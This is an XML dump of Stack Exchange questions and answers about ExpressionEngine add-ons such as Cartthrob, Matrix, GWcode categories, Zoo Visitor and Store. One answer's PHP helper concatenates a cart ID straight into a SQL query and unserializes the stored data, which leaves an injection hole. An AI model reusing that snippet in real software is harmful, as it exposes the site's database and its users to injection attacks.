  <row Id="14328" PostTypeId="1" CreationDate="2013-10-05T13:39:46.563" Score="3" ViewCount="93" Body="&lt;p&gt;We created a custom Cartthrob plugin which applies a 10% discount to items in the cart if purchased before a certain date, which works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we also have a coupon code to give 10% off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coupons and discounts are &quot;not to be used with with any other offer&quot;. It means if someone enters the coupon code, the our custom discount should not be applied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any help on this and wondered if anyone has a suggestion/solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-10-05T13:52:39.297" LastActivityDate="2013-10-05T13:52:39.297" Title="In Cartthrob, how could one stop a discount being applied with any other coupon?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14329" PostTypeId="2" ParentId="14328" CreationDate="2013-10-05T13:51:55.827" Score="3" Body="&lt;p&gt;Have possibly found a solution, by retrieving the cart data direct from the database, decrypting and unserialising it I can obtain the cart data and see coupon codes applied, so am able to check against this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function _getCart($cart_id)&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('encrypt');&#xA;&#xA;    $query = ee()-&amp;gt;db-&amp;gt;select('cart')&#xA;        -&amp;gt;from('exp_cartthrob_cart ctc')&#xA;        -&amp;gt;where('ctc.id = &quot;'.$cart_id.'&quot;')&#xA;        -&amp;gt;get();&#xA;&#xA;    if ($query-&amp;gt;num_rows() &amp;gt; 0)&#xA;    {&#xA;        $fields[] = '';&#xA;        foreach ($query-&amp;gt;result_array() as $row)&#xA;        {&#xA;            $cart = unserialize($this-&amp;gt;EE-&amp;gt;encrypt-&amp;gt;decode($row['cart']));&#xA;        }&#xA;    }&#xA;&#xA;    return $cart;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-10-05T13:51:55.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14330" PostTypeId="1" CreationDate="2013-10-05T14:19:20.477" Score="0" ViewCount="67" Body="&lt;p&gt;I can't seem to get EE Debug Toolbar installed on the latest version of ExpressionEngine (2.7.1) and EE Debug Toolbar 1.0 (22) RC1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the &lt;a href=&quot;https://github.com/mithra62/ee_debug_toolbar/wiki/Installation&quot; rel=&quot;nofollow&quot;&gt;installation guide&lt;/a&gt; as normal. In Addons &gt; Modules it is listed as &quot;Installed&quot;. In Addons &gt; Extensions it is &quot;Disabled&quot; but I am unable to enable/install it. Clicking on Enable &gt; Install &gt; Submit doesn't produce any errors but at the same time it continues to be listed as &quot;Disabled&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked directly in the database at exp_extensions but it doesn't appear in the list. Has anyone else had any success on installing it with EE 2.7.1 and can shed any light on to how?&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="7705" LastEditDate="2019-04-11T00:02:09.703" LastActivityDate="2019-04-11T00:02:09.703" Title="EE Debug Toolbar: Installation Issues" Tags="|debugging|ee-debug-toolbar|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14331" PostTypeId="1" AcceptedAnswerId="18954" CreationDate="2013-10-05T16:01:59.143" Score="1" ViewCount="77" Body="&lt;p&gt;I have big problems how to figure out the taxt (VAT) system, I do not understand anything. The settings are very confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set a basic tax for non-logged in visitors?&#xA;And why must I set my global rates on New York? This shop shall work in the Netherlands, there is no option for other countries than in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for replying.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="150" LastEditDate="2013-10-05T22:16:33.600" LastActivityDate="2014-01-31T05:45:53.593" Title="Cartthrob: How do I set the VAT for not logged in visitors?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14332" PostTypeId="2" ParentId="14312" CreationDate="2013-10-05T17:27:44.300" Score="1" Body="&lt;p&gt;You should try the &quot;Defer CKEditor initialization?&quot; feature in the Wygwam celltype settings. This will prevent Wygwam from initializing until the client clicks on the field.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-05T17:27:44.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="1" CreationDate="2013-10-05T18:51:17.497" Score="1" ViewCount="184" Body="&lt;p&gt;hey i'm running through a serious problem , i found a lot of answers about this topic nothing really helped, theres no direct obvious answer &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;heres a PHP page that i want to do with EE matrix+jQuery instead of&#xA;  PHP+mySQL+jQuery: &lt;a href=&quot;http://egyptianartsgroup.com/videos.php&quot; rel=&quot;nofollow&quot;&gt;http://egyptianartsgroup.com/videos.php&lt;/a&gt;&#xA;  look at &quot;Featured Videos&quot; section&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and this is my code for just looping the matrix , outputting the featured items for isotope blocking&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;container&quot; class=&quot;photos clearfix variable-sizes&quot;&amp;gt;&#xA;   {exp:channel:entries channel=&quot;featured&quot; url_title=&quot;main-featured&quot; limit=&quot;1&quot;}&#xA;   {featured_items search:active=&quot;Yes&quot; sort=&quot;asc&quot; limit=&quot;5&quot;}&#xA;   {if type == &quot;Video&quot;}&#xA;      &amp;lt;div class=&quot;photo video&quot;&amp;gt;&#xA;         {thumb_image}&#xA;        &amp;lt;img src=&quot;{path}_thumbnails/{filename}.{extension}&quot; /&amp;gt;&#xA;        {/thumb_image}&#xA;        &amp;lt;a href=&quot;{vlink}&quot; class=&quot;featuredVideoIcon&quot; t = &quot;video&quot; title=&quot;{overlayed_title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;{vlink}&quot; class=&quot;FeaturedTitleLink&quot; t = &quot;video&quot; title=&quot;{overlayed_title}&quot;&amp;gt;&amp;lt;h2 class=&quot;FeaturedTitle&quot;&amp;gt;{overlayed_title} &amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;   {if:else}&#xA;   &amp;lt;div class=&quot;photo image&quot;&amp;gt;&#xA;            {thumb_image}&#xA;            &amp;lt;img src=&quot;{path}_thumbnails/{filename}.{extension}&quot; /&amp;gt;&#xA;            {/thumb_image}&#xA;            &amp;lt;a  class=&quot;featuredEnlargIcon&quot; href= &quot;{thumb_image}&quot; title=&quot;{overlayed_title}&quot; t = &quot;image&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a  class=&quot;FeaturedTitleLink&quot; href= &quot;{thumb_image}&quot; t = &quot;image&quot; title=&quot;{overlayed_title}&quot;&amp;gt;&amp;lt;h2 class=&quot;FeaturedTitle&quot;&amp;gt;{overlayed_title} -- {row_count} of / {total_rows}&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;&#xA;   {/featured_items}&#xA;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas to ajax paginate the matrix entries for isotope ?&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2013-10-05T23:43:50.863" Title="EE Matrix Ajax Pagination" Tags="|matrix|pagination|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14334" PostTypeId="1" AcceptedAnswerId="14338" CreationDate="2013-10-05T19:45:48.163" Score="1" ViewCount="695" Body="&lt;p&gt;Good evening folks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently enquired &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14243/building-a-ugc-site-using-expressionengine&quot;&gt;what the best way to build a UGC site using ExpressionEngine&lt;/a&gt; would be. I decided to go down the route of a custom module and that side of things is now working: a table is being created, users are able to add jobs from a form on the front end and there are tags available for me to use in my templates to 'list' and 'single' jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I still can't get my head around the EE URL structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has a number of top-level sections which each of the listing types fall under. The example I gave in the previous post was 'jobs' but this actually falls under the 'opportunities' section. Therefore, the URL structure I'm trying to achieve is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/opportunities/jobs/                           jobs listing page&#xA;/opportunities/jobs/*id*-*job-title*/          job single page&#xA;/opportunities/jobs/add/                       add job page&#xA;/opportunities/jobs/edit/*id*-*job-title*/     edit job page&#xA;/opportunities/jobs/delete/*id*-*job-title*/   delete job page&#xA;/opportunities/jobs/success/                   success page for add/edit/delete job&#xA;/opportunities/jobs/filter/today/              jobs posted today          &#xA;/opportunities/jobs/filter/this-week/          jobs posted in last 7 days&#xA;/opportunities/jobs/filter/2013/oct/           jobs posted in october 2013&#xA;...                                            (previous 12 months)&#xA;/opportunities/jobs/filter/2012/nov/           jobs posted in november 2012&#xA;/opportunities/jobs/filter/archive/            (including those with a status of 'closed')&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm baffled as to whether this URL mapping is something that I would build into my module (in which case, could someone please point me in the direction of documentation as I can't find anything about it anywhere...) or whether I'd just create an 'opportunities' template group and the use the 'index' template as a controller to embed the correct sub-template (based on {if} statements checking the value of the third segment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is this a job for &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow noreferrer&quot;&gt;Router&lt;/a&gt;, or even some good old .htaccess rules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks, as always, for any advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I've found the pages module, which allows me to add a page with the URL /opportunities/jobs but then /opportunities/jobs/add returns a 404. I doubt this is the correct route as it re-introduces the problems I originally faced when using Structure...&lt;/p&gt;&#xA;" OwnerUserId="1396" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-10-05T23:38:11.527" Title="Custom module URL structure" Tags="|templates|url|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14336" PostTypeId="1" CreationDate="2013-10-05T20:50:28.020" Score="1" ViewCount="193" Body="&lt;p&gt;I'm having a bit of trouble getting my head around this issue and I'm probably over thinking it as well as just have spent too much time &quot;in&quot; it :) So i'm hoping someone can straighten this out for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Business channel with 2 Category Groups: State/City (category id = 9) and Businesses (category id = 11).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;State/City should be self-explanatory as those have a State for the Parent and City for Children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Businesses has this setup (some Categories have children some don't):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwRZV.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;So some entries are in Colorado and Denver BUT also in Bars &gt; Dive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to start on the State level, then to the City, then to the Category then a Sub-category if there is one. IF not then I just want to show the listings in those categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on this for a while and haven't had any luck with it. I always seem to get &quot;close&quot; then at the end I don't have the listings showing by City/State AND the Business type that it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without writing a ton of &lt;code&gt;{if segment_5 !='' AND segment_6 ==''} etc...&lt;/code&gt; I'm not sure how to drill down to the listings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm hoping there are people out there that can help me &quot;un-complicate&quot; this as this SHOULD work but I'm probably missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help comrades!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-10-07T02:37:33.347" Title="GW Code Categories || Nested || 2 Category Groups" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14337" PostTypeId="2" ParentId="13519" CreationDate="2013-10-05T20:58:15.010" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; sounds like it would take care of what you need as well as it allows you to serve up your own templates versus editing Design &gt; User Messages.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-10-05T20:58:15.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14338" PostTypeId="2" ParentId="14334" CreationDate="2013-10-05T23:38:11.527" Score="0" Body="&lt;p&gt;This is definitely something that will be difficult without some add-ons. As your edit suggests, the Pages Module is great for getting custom URLs, but breaks down as soon as you try to add dynamic segments to the URLs. It works very similarly to Structure, so that's not going to be your solution here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your best bet would be to check out Rob Sanchez' &lt;a href=&quot;https://github.com/rsanchez/template_routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes add-on&lt;/a&gt;. I personally have never used it, but it seems like it should help you customize your URL structure to match the scheme you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-05T23:38:11.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14339" PostTypeId="2" ParentId="14333" CreationDate="2013-10-05T23:43:50.863" Score="1" Body="&lt;p&gt;You should be able to create pagination using a combination of the &lt;code&gt;{matrix_field_name:total_rows}&lt;/code&gt; variable, the &lt;code&gt;limit=xx&lt;/code&gt; and &lt;code&gt;offset=xx&lt;/code&gt; parameters to the Matrix tag pair and a math plugin such as &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this method was posted on &lt;a href=&quot;http://eeinsider.com/tips/view/javascript-pagination-with-matrix-mx-calc-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;EE Insider&lt;/a&gt; some time back.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-05T23:43:50.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14340" PostTypeId="1" AcceptedAnswerId="14345" CreationDate="2013-10-06T03:14:46.587" Score="3" ViewCount="558" Body="&lt;p&gt;I have relationships field &lt;code&gt;Foo&lt;/code&gt; where people can have more than one entry, basically a multiple relationships field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not using &lt;code&gt;{field:foo}&lt;/code&gt; to output my form field. Instead I am using multiple checkboxes to save the multiple relationships. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a native way to do this or do I have to resort to implementing a function in extensions to work them out?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="55" LastEditDate="2013-10-06T03:46:37.897" LastActivityDate="2013-10-06T15:11:39.253" Title="Saving Multiple Relationships via checkboxes in a Channel Form" Tags="|safecracker|relationships|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="1" AcceptedAnswerId="14359" CreationDate="2013-10-06T09:44:53.373" Score="3" ViewCount="1148" Body="&lt;p&gt;I'm using an older EE2 addon that doesn't appear to have support for secure forms. Does anyone know how to add the hidden XID hash field to the form via the addon code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm really looking to see if there's a code snippet that would just create the hash itself that I can add within the addon file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; After looking more closely at the addon code, it's using the form helper so what I need is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form_hidden('XID', 'xid outputted value')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would generate the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;the xid hash&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2013-10-07T11:48:54.487" LastActivityDate="2013-10-07T15:51:43.707" Title="How do I add an XID hash to an old addon?" Tags="|add-on-development|xid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14342" PostTypeId="1" CreationDate="2013-10-06T11:34:11.043" Score="3" ViewCount="440" Body="&lt;p&gt;I'm trying to get this situation working, but I'm not 100% it can actually be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've build a custom checkout process where the customer fills in his shipping info, billing info (if different), chooses a payment method and registers an account or not. All on one single page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processing the order goes well - however no entry is added to the Zoo Visitor channel, only a native Member account is created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2013.12.16&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a new setup begin this week. Unfortunately Store is still not mapping correctly to Visitor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current setup:&lt;/strong&gt;&lt;br&gt;&#xA;EE 2.7.3&lt;br&gt;&#xA;Store 2.1.0&lt;br&gt;&#xA;Visitor 1.3.30  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One strange thing in the Store Order Fields setup;&lt;br&gt;&#xA;The field-groups to choose the mapping-fields from are not rendered correctly (see attached screenshot). Instead of Zoo Visitor it says &quot;optgroup_zoo_fields&quot;.&lt;br&gt;&#xA;It was a brand new install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other insights which could help;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I need to alter the checkout fields in templating?&lt;/li&gt;&#xA;&lt;li&gt;Do I also need to create Member Custom Fields for this to work?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was assuming 'no' to both, maybe that's my faulty approach...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short;&lt;br&gt;&#xA;- Visitor channel + custom fields are created&lt;br&gt;&#xA;- Order Fields are Mapped to Visitor fields&lt;br&gt;&#xA;- A normal member is created on order-complete / payment&lt;br&gt;&#xA;- No Visitor entry is created  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zx9Nr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1233" LastEditorUserId="1233" LastEditDate="2013-12-17T20:05:49.000" LastActivityDate="2013-12-17T20:05:49.000" Title="Expresso Store 2: not mapping to Zoo Visitors fields on checkout" Tags="|expresso-store|zoo-visitor|checkout|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14343" PostTypeId="2" ParentId="14247" CreationDate="2013-10-06T14:51:18.937" Score="0" Body="&lt;p&gt;Okay, I'll add this as a reference here, though I would avoid using it in a real life situation unless you are sure of what you are doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In stead of the many alternative ways to approach this, like using stash, embeds, a query or writing a plugin, I decided to tinker a little bit more with GWcode categories as it got me originally pretty close and seemed to have quite a few useful variables available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the solution could probably be easily modified to any arbitrary category structure depths, I highly recommend you do not use this solution in production. It is a messy hack (EE &amp;amp; JSON tend to get messy, but not this messy) and especially the last if-else structure feels a bit off, though it seemed to do what I needed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [{&quot;categories&quot;:[&#xA;    {exp:gwcode_categories group_id=&quot;1&quot; style=&quot;linear&quot;}&#xA;        {if depth1_start || depth2_start || depth3_start}&#xA;        {if:else}&#xA;        ,&#xA;        {/if}&#xA;&#xA;        {&#xA;            &quot;id&quot;: {cat_id},&#xA;            &quot;depth&quot;:{depth}&#xA;&#xA;        {if has_children}&#xA;            , &quot;childcategories&quot;:[&#xA;        {if:else}&#xA;            }&#xA;        {/if}&#xA;        {if group_end}&#xA;            ]} &#xA;        {if:else}&#xA;            {if depth1_end &amp;amp;&amp;amp; depth2_end &amp;amp;&amp;amp; depth3_end}&#xA;                    ]}]},&#xA;            {if:elseif depth1_end &amp;amp;&amp;amp; depth2_end}&#xA;                        ]},&#xA;            {if:elseif depth3_end}&#xA;                ]},&#xA;            {/if}&#xA;        {/if}&#xA;    {/exp:gwcode_categories}&#xA;]},{&quot;performance&quot;: &quot;{elapsed_time} seconds / {total_queries} queries&quot;}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example of the JSON output can be found here: &lt;a href=&quot;http://jsonlint.com/?json=https://dl.dropboxusercontent.com/u/381221/jsoncategories.txt&quot; rel=&quot;nofollow&quot;&gt;http://jsonlint.com/?json=https://dl.dropboxusercontent.com/u/381221/jsoncategories.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-10-06T14:51:18.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14344" PostTypeId="2" ParentId="14317" CreationDate="2013-10-06T15:08:13.317" Score="1" Body="&lt;p&gt;To output the information this worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;grid-row&quot;&amp;gt;&amp;lt;em&amp;gt;Fav Style:&amp;lt;/em&amp;gt;&amp;lt;span&amp;gt;{options:member_favourite_drinks}{if selected}{option_name},{/if}{/options:member_favourite_drinks}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and to have this in a select list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;     {if field_name==&quot;member_favourite_drinks&quot;}&#xA;            &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}[data][]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                  &amp;lt;option value=&quot;&quot;&amp;gt;Select...&amp;lt;/option&amp;gt;&#xA;                  {options}&#xA;                      &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                  {/options}&#xA;             &amp;lt;/select&amp;gt;&#xA;     {/if}&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2144" LastActivityDate="2013-10-06T15:08:13.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14345" PostTypeId="2" ParentId="14340" CreationDate="2013-10-06T15:11:39.253" Score="3" Body="&lt;p&gt;To output the information this worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;grid-row&quot;&amp;gt;&amp;lt;em&amp;gt;Fav Style:&amp;lt;/em&amp;gt;&amp;lt;span&amp;gt;{options:member_favourite_drinks}{if selected}{option_name},{/if}{/options:member_favourite_drinks}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and to have this in a select list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;     {if field_name==&quot;member_favourite_drinks&quot;}&#xA;            &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}[data][]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                  &amp;lt;option value=&quot;&quot;&amp;gt;Select...&amp;lt;/option&amp;gt;&#xA;                  {options}&#xA;                      &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                  {/options}&#xA;             &amp;lt;/select&amp;gt;&#xA;     {/if}&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... checkboxes will need an embed inside the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/.drinks-list&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;drinks&quot; order=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;div class=&quot;form-item form-item-checkbox form-item-small&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;member_favourite_drinks_{count}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;member_favourite_drinks[data][]&quot; value=&quot;{entry_id}&quot; id=&quot;member_favourite_drinks_{count}&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2144" LastActivityDate="2013-10-06T15:11:39.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14346" PostTypeId="1" CreationDate="2013-10-06T16:10:04.900" Score="0" ViewCount="104" Body="&lt;p&gt;EE file management questioned corrected.  Please close. &lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="719" LastEditDate="2013-10-09T03:45:56.470" LastActivityDate="2013-10-09T03:45:56.470" Title="EE File management" Tags="|css|" AnswerCount="1" CommentCount="6" ClosedDate="2013-10-07T12:09:56.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="14347" PostTypeId="2" ParentId="14341" CreationDate="2013-10-06T17:43:13.293" Score="2" Body="&lt;p&gt;I think, the addon may be generating the form with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hidden_fields = array(&#xA;    'ACT'       =&amp;gt; 'ACTION ID',&#xA;    'RET'       =&amp;gt; 'RETURN URL'&#xA;);&#xA;&#xA;$data = array(&#xA;    'action'        =&amp;gt; 'FORM ACTION',&#xA;    'hidden_fields' =&amp;gt; $hidden_fields,&#xA;    'id'            =&amp;gt; 'FORM ID',&#xA;);&#xA;&#xA;$tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;$form  = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($data);&#xA;$form .= stripslashes($tagdata);&#xA;$form .= &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which automatically generates XID as form's hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If above doesn't help, can you share the addon's code which is creating form.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-06T17:43:13.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14348" PostTypeId="2" ParentId="12891" CreationDate="2013-10-06T19:46:03.213" Score="1" Body="&lt;p&gt;How about something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix}&#xA;  {exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;    {image:{element_count}}&#xA;  {/exp:channel_images:images_static}&#xA;{/matrix} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;({element_count} is the matrix field where you can choose the #-th image).&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-10-06T19:46:03.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14349" PostTypeId="1" CreationDate="2013-10-06T21:18:20.183" Score="1" ViewCount="122" Body="&lt;p&gt;With EE 2.7 can you use a channel form on the front end to create new categories?  Can't quite figure this out.&lt;/p&gt;&#xA;" OwnerUserId="2145" LastActivityDate="2013-10-07T02:40:56.913" Title="With EE 2.7 can you use a channel form on the front end to create new categories?" Tags="|ee2|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14350" PostTypeId="1" AcceptedAnswerId="25200" CreationDate="2013-10-06T22:48:44.297" Score="2" ViewCount="75" Body="&lt;p&gt;I have a registration and checkout page where I give users the choice to register as a business or a private person (radio input).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user clicks on the 'business' radio, a pane slides down with inputs for company name and VAT number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make these fields required, if chosen for business registration type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do this with jQuery but can it be done with conditionals / hard coded too, in the template?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-08-20T09:11:52.107" Title="Zoo Visitor / Store 2 validation based on radio value" Tags="|expresso-store|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
